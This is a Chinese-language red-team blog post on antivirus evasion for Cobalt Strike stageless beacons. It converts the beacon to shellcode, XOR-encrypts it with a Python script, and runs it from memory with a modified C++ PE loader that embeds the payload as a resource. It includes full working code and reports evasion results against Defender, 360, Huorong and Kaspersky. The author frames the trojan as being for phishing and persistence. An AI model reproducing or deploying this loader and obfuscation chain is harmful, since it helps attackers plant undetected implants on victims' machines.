1.前言 在红队评估中,木马的免杀效果往往决定了一次完美的钓鱼的成功与否,当然这里不仅仅是钓鱼,木马是我们最常用的一种权限维持的手段。而cs生成木马免杀更是老生常谈的话题,cs 生成的shellcode ,最常用的免杀手段就是,加载器和shellcode分离,在过静态一直保持着较高的成功免杀概率。
为啥说免杀概率?总所周知,免杀一直都有着很玄学的色彩,当然这也是和杀软复杂的检测机制有关,主要是杀软都是不开源的,我们测试免杀性都是通过黑盒测试,只能一个个去试,去猜测免杀机制!
cs前置的shellcode是很好免杀的,通过加密解密,加载器分离的方式是很轻松免杀的,但是在常和杀软作对抗,逐渐发现,杀软主要特征定位在前置shellcode下载回来大的beacon,这个特征我们除非去魔改生产beacon文件的dll文件,不然无法有效的去除这一特征。
但是前段时间我接触了pe内存加载技术,所以我在想能不能直接写一个内存加载器然后直接加载生成的stageless,而不用前置的shellcode去下载大的beacon回来,这样能逃过一些特征,内存加载不是新技术,因为我们是时常接触到c#内存加载.net程序,这里我们改用c++实现内存加载。
2.实现 首先我们找到了github上面的一个项目:https://github.com/hasherezade/pe_to_shellcode
通过作者的描述很清楚,它的作用就是把pe文件转换成可在内存执行的shellcode,这和我们的需求比较相像。
1.首先是把我们cs生成的stageless exe文件转换成可在内存执行的shellcode
看似不支持TLS callbacks,但是实际上问题不大,生成的beacon.shc.exe是可以直接点击运行的,当然也可以通过项目所带的runshc64.exe加载执行。
如果用项目自带的免杀效果就可以止步于此了,但是为了提高可用行,必须得加点自己的东西进去。
2.把转换好的exe文件转换成16进制shellcode 使用的工具是bin2hex.exe,当然你也可以用其他工具,winhex直接复制也行。
1 bin2hex.exe --i beacon.shc.exe --o beacon_hex.txt
虽然现在可以直接读取txt文件中的16进制来加载,有一定免杀效果,但是我们还是自己加密一下。
3.加密16进制,我这里采用使用异或加密的方式,我只提供一个思路 为了方便,我直接写了个python脚本来进行异或
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import randomclass ShellCode_Xor (): def __init__ (self ): self.shellcode_list = [] self.create_two_random() self.read_file() self.xor_shellcode() def create_two_random (self ): while (1 ): self.key1 = random.randint(100 , 1000 ) self.key2 = random.randint(100 ,1000 ) if self.key1 != self.key2: break def create_file_name (self ): string = "abcdefghijklomnopqrstuvwxyz123456789" str_Variables = "" for i in range (random.randint(3 , 24 )): rand_int = random.randint(0 , len (string) - 1 ) str_Variables += string[int (rand_int)] return str_Variables def read_file (self ): tmp_list = [] with open ("beacon_hex.txt" ,"r" ,encoding="utf-8" ) as f: for shellcode in f.readlines()[::1 ]: tmp_list = shellcode.strip().split("," ) for i in tmp_list: tmp_list[tmp_list.index(i)] =i.replace("0x" ,"" ).replace(" " ,"" ) if "" == i: tmp_list.remove(i) self.shellcode_list.extend(tmp_list) def xor_shellcode (self ): self.xor_result = [] print ("key1:" + str (self.key1) + "\n" + "key2:" + str (self.key2)) for hex_str in self.shellcode_list: hex_int = int (hex_str, 16 ) xor1_shellcode = hex_int ^ self.key1 xor2_shellcode = xor1_shellcode ^ self.key2 self.xor_result.append(xor2_shellcode) self.shellcode_len = len (self.xor_result) print (len (self.xor_result)) shellcode_str = "" for shellcode in self.xor_result: shellcode_str += str (shellcode)+" " with open ("shellcode_Xor_result.txt" ,"w" ,encoding="utf-8" ) as f: f.write(shellcode_str) if __name__ == '__main__' : test= ShellCode_Xor()
会生成一个异或好的文件。
4.改造runshc64.exe 以前的runshc64.exe已经不适用了,需要我们改造一下,让他能直接读取16进制并进行异或还原,并加载,直接去掏一首源码然后改。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 #include <windows.h> #include <iostream> #include <peconv.h> int main (int argc, char *argv[]) { if (argc < 2 ) { std::cout << "~ runshc ~\n" << "Run shellcode: loads and deploys shellcode file.\n" ; #ifdef _WIN64 std::cout << "For 64-bit shellcodes.\n" ; #else std::cout << "For 32-bit shellcodes.\n" ; #endif std::cout << "Args: <shellcode_file>" << std::endl; system ("pause" ); return 0 ; } size_t exe_size = 0 ; char * in_path = argv[1 ]; std::cout << "[*] Reading module from: " << in_path << std::endl; BYTE *my_exe = peconv::load_file (in_path, exe_size); if (!my_exe) { std::cout << "[-] Loading file failed" << std::endl; return -1 ; } BYTE *test_buf = peconv::alloc_aligned (exe_size, PAGE_EXECUTE_READWRITE); if (!test_buf) { peconv::free_file (my_exe); std::cout << "[-] Allocating buffer failed" << std::endl; return -2 ; } memcpy (test_buf, my_exe, exe_size); peconv::free_file (my_exe); my_exe = nullptr ; std::cout << "[*] Running the shellcode:" << std::endl; int (*my_main)() = (int (*)()) ((ULONGLONG)test_buf); int ret_val = my_main (); peconv::free_aligned (test_buf, exe_size); std::cout << "[+] The shellcode finished with a return value: " << std::hex << ret_val << std::endl; return ret_val; }
源码是这样的,从开头的导入模块来看,导入了一个peconv.h头文件,我们继续追踪这个头文件,看有哪些依赖项
在github项目中,它的头文件定义在这个目录
直接给下载下来,新建项目,然后添加依赖,定义,实现,编译。
编译成功了,看来没啥问题,最好把编译好的exe,进行测试一下,看是否能用。
然后就可以开始魔改了,直接冲,反观源代码,里面有很多东西我们都是不用的,直接删除大部分东西,加上自己的东西
代码参考:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 #include <windows.h> #include <iostream> #include <peconv.h> #include <fstream> using namespace std;int main (int argc, char *argv[]) { size_t exe_size = 962918 ; unsigned short int * hex_code_p = new unsigned short int [962918 ]; unsigned char * xor_xcode = new unsigned char [1196315 ]; unsigned xor_key1 = 601 ; unsigned xor_key2 = 155 ; int datalen = 0 ; ifstream file ("shellcode_Xor_result.txt" ) ; while (!file.eof ()) file >> hex_code_p[datalen++]; file.close (); for (int i = 0 ; i < exe_size; i++) { unsigned int a = hex_code_p[i] ^ xor_key2; a = a ^ xor_key1; a = (a % 256 ) & 0xFF ; xor_xcode[i] = a; } BYTE *test_buf = peconv::alloc_aligned (exe_size, PAGE_EXECUTE_READWRITE); if (!test_buf) { std::cout << "[-] Allocating buffer failed" << std::endl; return -2 ; } memcpy (test_buf, xor_xcode, exe_size); std::cout << "[*] Running the shellcode:" << std::endl; int (*my_main)() = (int (*)()) ((ULONGLONG)test_buf); int ret_val = my_main (); peconv::free_aligned (test_buf, exe_size); std::cout << "[+] The shellcode finished with a return value: " << std::hex << ret_val << std::endl; return ret_val; }

加载上线完全没问题嗷,但是一个存放shellcode的txt文件,感觉有点难受,因为shellcode偏大,不适合用数组的方式存放。
5.把txt文件添加入资源,通过释放资源的方式来进行加载,加载完就删 右键项目,添加-》资源-》导入
选择资源类型,然后ctrl+s保存
可以在自动添加的“resource.h”头文件中看到资源ID宏
释放资源代码参考:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 BOOL Release_resources (CHAR* szResourceType, CHAR* szFileName) { HRSRC hRsrc = FindResource (NULL , MAKEINTRESOURCE (IDR_TESTRES1), szResourceType); DWORD dwSize = SizeofResource (NULL , hRsrc); HGLOBAL hGlobal = LoadResource (NULL , hRsrc); LPVOID lpRes = LockResource (hGlobal); HANDLE hFile = CreateFile (szFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL , CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); DWORD dwWriten = 0 ; BOOL bRes = WriteFile (hFile, lpRes, dwSize, &dwWriten, NULL ); CloseHandle (hFile); CloseHandle (hGlobal); CloseHandle (hRsrc); return TRUE; }
我的代码写的是会在同一目录下释放一个txt文件。
这里我也成功上线了,测试免杀效果,最新的windows-defender
火绒加360全家桶
膨胀了,膨胀了,我要测试卡巴,资金有限只能测试免费版。
效果还不错!
3.思考与改进之处 1.pe加载器固然好,上线没问题,但是不保证你执行命令不被标记为木马,因为像卡巴这种主要是启发式扫描强,你不去执行任何操作,过静态很好过的,但是你去执行操作就有另一个故事了。
2.这次我用的是疑惑加密,其实最好的还是用AES这些商用的加密算法比较好。
3.把异或好的shellcode放入资源,然后再释放,可能还是会存在一些行为,毕竟这是木马常用的手段。
4.pe加载器还可以不断提取,优化,做到定制化的生成木马工具。